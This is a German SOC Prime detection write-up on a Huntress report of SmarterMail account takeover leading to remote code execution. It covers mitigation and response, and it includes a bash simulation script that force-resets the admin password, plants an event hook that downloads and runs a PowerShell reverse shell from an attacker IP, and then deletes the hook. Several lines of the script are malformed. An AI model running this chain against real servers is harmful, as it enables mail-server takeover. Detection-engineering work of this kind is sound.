SOC Prime Bias: Kritisch

04 Feb 2026 13:59 UTC

DE&TH zu Schwachstellen: Huntress entdeckt SmarterMail-Kontoübernahme, die zu RCE führt

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
DE&TH zu Schwachstellen: Huntress entdeckt SmarterMail-Kontoübernahme, die zu RCE führt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Huntress beobachtete den missbräuchlichen Einsatz von zwei SmarterMail-Schwachstellen, die die Übernahme privilegierter Konten ermöglichen und letztendlich zur Ausführung von Remote-Code führen. Angreifer initiieren nicht authentifizierte Passwort-Zurücksetzungen, um ein privilegiertes Token zu erhalten, und missbrauchen dann SmarterMail-„Systemereignisse“, um Befehle zur Erkundung des Hosts auszuführen. Diese Aktivitäten betrafen mehrere Kunden und zeigten Anzeichen einer umfassenden, automatisierten Ausnutzung im großen Maßstab.

Untersuchung

Huntress-Analysten rekonstruierten eine konsistente Abfolge von HTTP-POST-Anfragen an SmarterMail-API-Endpunkte, die zur Zurücksetzung von Passwörtern, Authentifizierung, Konfiguration von Systemereignissen, Hinzufügung von angreifergesteuerten Domains und später zum Entfernen von Spuren verwendet wurden. Die Kette zielt auf CVE-2026-23760 (Übernahme privilegierter Konten) und CVE-2025-52691 (beliebiger Datei-Upload) ab. Anfragen verwendeten häufig den python-requests/2.32.4-User-Agent, und Betreiber hinterließen result.txt-Dateien mit Ergebnissen der Erkundungsbefehle.

Minderung

Aktualisieren Sie SmarterMail auf Build 9511 oder neuer, um beide CVEs zu adressieren. Überprüfen und verschärfen Sie die API-Exposition, deaktivieren oder beschränken Sie unnötige Systemereignisse und überwachen Sie auf anomale API-Aktivitäten, die Konten, Ereignisse oder Domains ändern. Identifizieren und entfernen Sie alle von Angreifern erstellten Systemereignisse und Domains, um die Persistenz zu beseitigen.

Reaktion

Suchen Sie nach dem verdächtigen API-Aufrufmuster und dem python-requests/2.32.4-User-Agent, blockieren Sie die betreffenden Quell-IP-Adressen und löschen Sie bösartige Systemereignisse. Drehen Sie sofort privilegierte Anmeldedaten. Führen Sie Endpoint-Forensik durch, um result.txt zu lokalisieren und zu überprüfen, ob zusätzliche Nutzlasten bereitgestellt wurden. Benachrichtigen Sie betroffene Benutzer/Kunden und bieten Sie klare Abhilfeerklärungen an.

Angriffsablauf

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Basis-Prüfung muss bestanden sein.

Angriffserzählung & Befehle

  1. Erkundung: Angreifer entdeckt, dass die SmarterMail-Instanz eine Version betreibt, die anfällig für CVE‑2026‑23760 ist.
  2. Erzwungene Passwort-Zurücksetzung (T1098): Verwendung der nicht authentifizierten force-reset-password Endpoint, um ein bekanntes Passwort für den privilegierten Admin Konto festzulegen.
  3. Authentifizieren (T1078): Anmeldung mit den neu festgelegten Anmeldedaten über den authenticate-user Endpunkt, um ein Sitzungstoken zu erhalten.
  4. Bösartigen Ereignishook bereitstellen (T1569): POST eines gestalteten JSON-Nutzlasts an event-hook die auf eine PowerShell-Umkehrschale verweist, die auf dem Server des Angreifers gehostet wird.
  5. Ausführung auslösen: Der Ereignis-Hook wird automatisch auf dem Webserver ausgeführt und startet eine Umkehrschale zum Angreifer.
  6. Aufräumen: Entfernen Sie den bösartigen Hook über den event-hook-delete Endpunkt (von der Erkennung ausgeschlossen).

Alle Schritte generieren HTTP POST Events, die mit den Kriterien der Sigma-Regel Auswahl übereinstimmen.

Regression Testskript

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMail Kontoübernahme & RCE-Simulation
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Erzwingen der Passwort-Zurücksetzung (nicht authentifiziert)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Authentifizierung und Erfassung des Sitzungstokens
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Bösartigen Ereignishook bereitstellen (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Bösartiger Ereignishook bereitgestellt. Warte auf Umkehrschale..."

# 4. (Optional) Auf Umkehrschale warten – Angreifer betreibt Listener separat:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Aufräumen – Entfernen Sie den Hook (von der Erkennung ausgeschlossen)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Aufräumbefehle

#!/usr/bin/env bash
# Entfernen Sie verbleibende bösartige Hooks und setzen Sie das Admin-Passwort zurück

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Authentifizierung mit dem sicheren Passwort (falls bekannt) oder Verwendung des vorherigen Tokens
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Löschen des bösartigen Ereignishooks (falls noch vorhanden)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Setzen Sie das Admin-Passwort auf einen bekannten guten Wert zurück
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"